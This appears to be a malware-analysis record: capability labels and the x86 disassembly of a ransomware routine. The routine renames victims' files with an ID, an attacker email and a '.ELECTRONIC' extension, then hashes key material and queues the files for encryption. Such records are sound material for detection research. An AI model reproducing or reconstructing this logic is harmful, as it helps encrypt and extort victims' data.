Function at 0x405290
Capabilities:
Encode data using xor
Get file size
Hash data using sha256
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x1c4], 0
push 0x80
push edi
mov dword [ebp - 0x1d0], edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405340
call ebx
cmp eax, 0x20
je 0x4052f9
call ebx
cmp eax, 0x21
jne 0x405424
cmp dword [ebp - 0x1c4], 1
je 0x405416
mov ecx, edi
call fcn.004050d0
push 0x80
push edi
mov dword [ebp - 0x1c4], 1
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4052e7
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x4056c5
push str..ELECTRONIC
push 0x424730
push str.electronicrans_gmail.com
lea eax, [ebp - 0x148]
push str..EMAIL__S_ID__S__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea eax, [eax*2 + 0x100]
push eax
push 8
push dword [0x42477c]
mov dword [ebp - 0x1c8], eax
call esi
mov ebx, eax
mov dword [ebp - 0x1d4], ebx
test ebx, ebx
jne 0x4053d8
mov edi, dword [ebp - 0x1c8]
nop dword [eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x42477c]
call esi
mov ebx, eax
mov dword [ebp - 0x1d4], eax
test ebx, ebx
je 0x4053b0
mov edi, dword [ebp - 0x1d0]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x148]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x405434
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.Unable_To_Rename_File:__s____lu
call fcn.00404be0
add esp, 0xc
jmp 0x4056b6
push edi
push str.Unable_To_Access_File:__s___SHARING_VIOLATION
call fcn.00404be0
add esp, 8
xor bl, bl
cmp esi, 0xffffffff
je 0x405349
jmp 0x405342
push 0
push 0x48000000
push 3
push 0
push 0
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x1c4], eax
cmp eax, 0xffffffff
je 0x4056b6
lea ecx, [ebp - 0x150]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x4056aa
mov ecx, dword [ebp - 0x150]
mov eax, ecx
mov edx, dword [ebp - 0x14c]
or eax, edx
mov dword [ebp - 0x1c8], ecx
je 0x4056aa
test edx, edx
jl 0x4054a7
jg 0x40549c
cmp ecx, 0x20000
jb 0x4054a7
mov ecx, 0x20000
mov dword [ebp - 0x1c8], ecx
lea eax, [ecx + 0xe8]
push eax
push 8
push dword [0x42477c]
mov dword [ebp - 0x1d0], eax
call esi
mov edi, eax
test edi, edi
jne 0x4054ec
mov ebx, dword [ebp - 0x1d0]
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 8
push dword [0x42477c]
call esi
mov edi, eax
test edi, edi
je 0x4054d0
mov eax, dword [ebp - 0x1c8]
lea ecx, [ebp - 0x44]
mov dword [edi + 0xe0], eax
mov eax, dword [ebp - 0x1c4]
mov dword [edi + 0x9c], eax
mov eax, dword [0x423880]
shl eax, 0x11
cdq
mov dword [edi + 0xac], edx
mov edx, 0x20
mov dword [edi + 0xa8], eax
call fcn.00404ff0
mov edx, 8
lea ecx, [edi + 0xd4]
call fcn.00404ff0
push 0x420bc0
lea ecx, [edi + 0xb4]
lea edx, [ebp - 0x44]
call fcn.00404a20
add esp, 4
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x24]
push 0x4201a0
call fcn.00404a20
add esp, 4
mov dword [ebp - 0x1b8], 0x6a09e667
xorps xmm0, xmm0
mov dword [ebp - 0x1b4], 0xbb67ae85
lea edx, [ebp - 0x24]
movlpd qword [ebp - 0x1c0], xmm0
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1b0], 0x3c6ef372
push 0x20
mov dword [ebp - 0x1ac], 0xa54ff53a
mov dword [ebp - 0x1a8], 0x510e527f
mov dword [ebp - 0x1a4], 0x9b05688c
mov dword [ebp - 0x1a0], 0x1f83d9ab
mov dword [ebp - 0x19c], 0x5be0cd19
mov dword [ebp - 0x198], 0
call fcn.00406810
add esp, 4
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x1c0]
call fcn.00406890
push 0x70
lea eax, [ebp - 0x1c0]
push 0
push eax
call fcn.00407a10
add esp, 0xc
lea eax, [edi + 0x18]
lea edx, [edi + 0xd4]
lea ecx, [ebp - 0x24]
push eax
call fcn.00401150
mov eax, dword [0x423880]
lea esi, [ebp - 0x24]
add esp, 4
mov dword [edi + 0xb0], eax
or eax, 0xffffffff
mov ebx, 0x20
movzx ecx, byte [esi]
lea esi, [esi + 1]
mov edx, eax
shl eax, 8
shr edx, 0x18
xor edx, ecx
xor eax, dword [edx*4 + 0x41fbc0]
sub ebx, 1
jne 0x405623
mov dword [edi + 0xdc], eax
lea ecx, [ebx + 0x20]
mov ebx, dword [ebp - 0x1d4]
lea eax, [ebp - 0x44]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x405651
mov ecx, 0x20
lea eax, [ebp - 0x24]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x405664
push dword [0x424774]
push ecx
push dword [0x424770]
push dword [ebp - 0x1c4]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x4056aa
push edi
push 0
push 0
push dword [0x424770]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x4056b6
lock inc dword [0x424778]
jmp 0x4056b6
push dword [ebp - 0x1c4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 0
push dword [0x42477c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406a54
mov esp, ebp
pop ebp
ret